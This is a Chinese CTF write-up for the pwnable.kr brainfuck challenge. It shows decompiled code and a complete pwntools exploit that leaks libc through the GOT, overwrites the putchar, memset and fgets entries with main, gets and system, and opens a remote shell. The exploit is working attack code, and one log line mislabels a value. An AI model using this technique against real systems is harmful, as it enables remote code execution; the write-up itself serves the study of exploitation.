ida分析文件,发现关键的函数是do_brainfuck
int __cdecl do_brainfuck(char a1)
{
int result; // eax@1
_BYTE *v2; // ebx@7
result = a1;
switch ( a1 )
{
case 62: // '>'
result = p++ + 1;
break;
case 60: // '<'
result = p-- - 1;
break;
case 43: // '+'
result = p;
++*(_BYTE *)p;
break;
case 45: // '-'
result = p;
--*(_BYTE *)p;
break;
case 46: // '.'
result = putchar(*(_BYTE *)p);
break;
case 44: // ','
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case 91:
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
在该函数中,可以对指针p进行加减等操作,以及对指针p指向的位置进行读写操作。
那么这样思路就清晰了,我们可以通过p的位置计算出got表中putchar/memset等函数的位置,然后覆盖掉
那么接下来就可以写payload了
from pwn import *
libc = ELF('bf_libc.so')
p = remote('pwnable.kr', 9001)
# 下面的代码定义了函数部分,这里利用do_brainfuck完成了指针移位、读写的操作。
def back(n):
return '<'*n
def read(n):
return '.>'*n
def write(n):
return ',>'*n
# 这里从elf中获取got表的地址
putchar_got = 0x0804A030
memset_got = 0x0804A02C
fgets_got = 0x0804A010
ptr = 0x0804A0A0
# leak putchar_addr
payload = back(ptr - putchar_got) + '.' + read(4)
# overwrite putchar_got to main_addr
payload += back(4) + write(4)
# overwrite memset_got to gets_addr
payload += back(putchar_got - memset_got + 4) + write(4)
# overwrite fgets_got to system_addr
payload += back(memset_got - fgets_got + 4) + write(4)
# JUMP to main
payload += '.'
p.recvuntil('[ ]\n')
p.sendline(payload)
p.recv(1) # junkcode
putchar_libc = libc.symbols['putchar']
gets_libc = libc.symbols['gets']
system_libc = libc.symbols['system']
putchar = u32(p.recv(4))
log.success("putchar = " + hex(putchar))
gets = putchar - putchar_libc + gets_libc
log.success("gets = " + hex(gets))
system = putchar - putchar_libc + system_libc
log.success("system = " + hex(system))
main = 0x08048671
log.success("main = " + hex(system))
p.send(p32(main))
p.send(p32(gets))
p.send(p32(system))
p.sendline('//bin/sh\0')
p.interactive()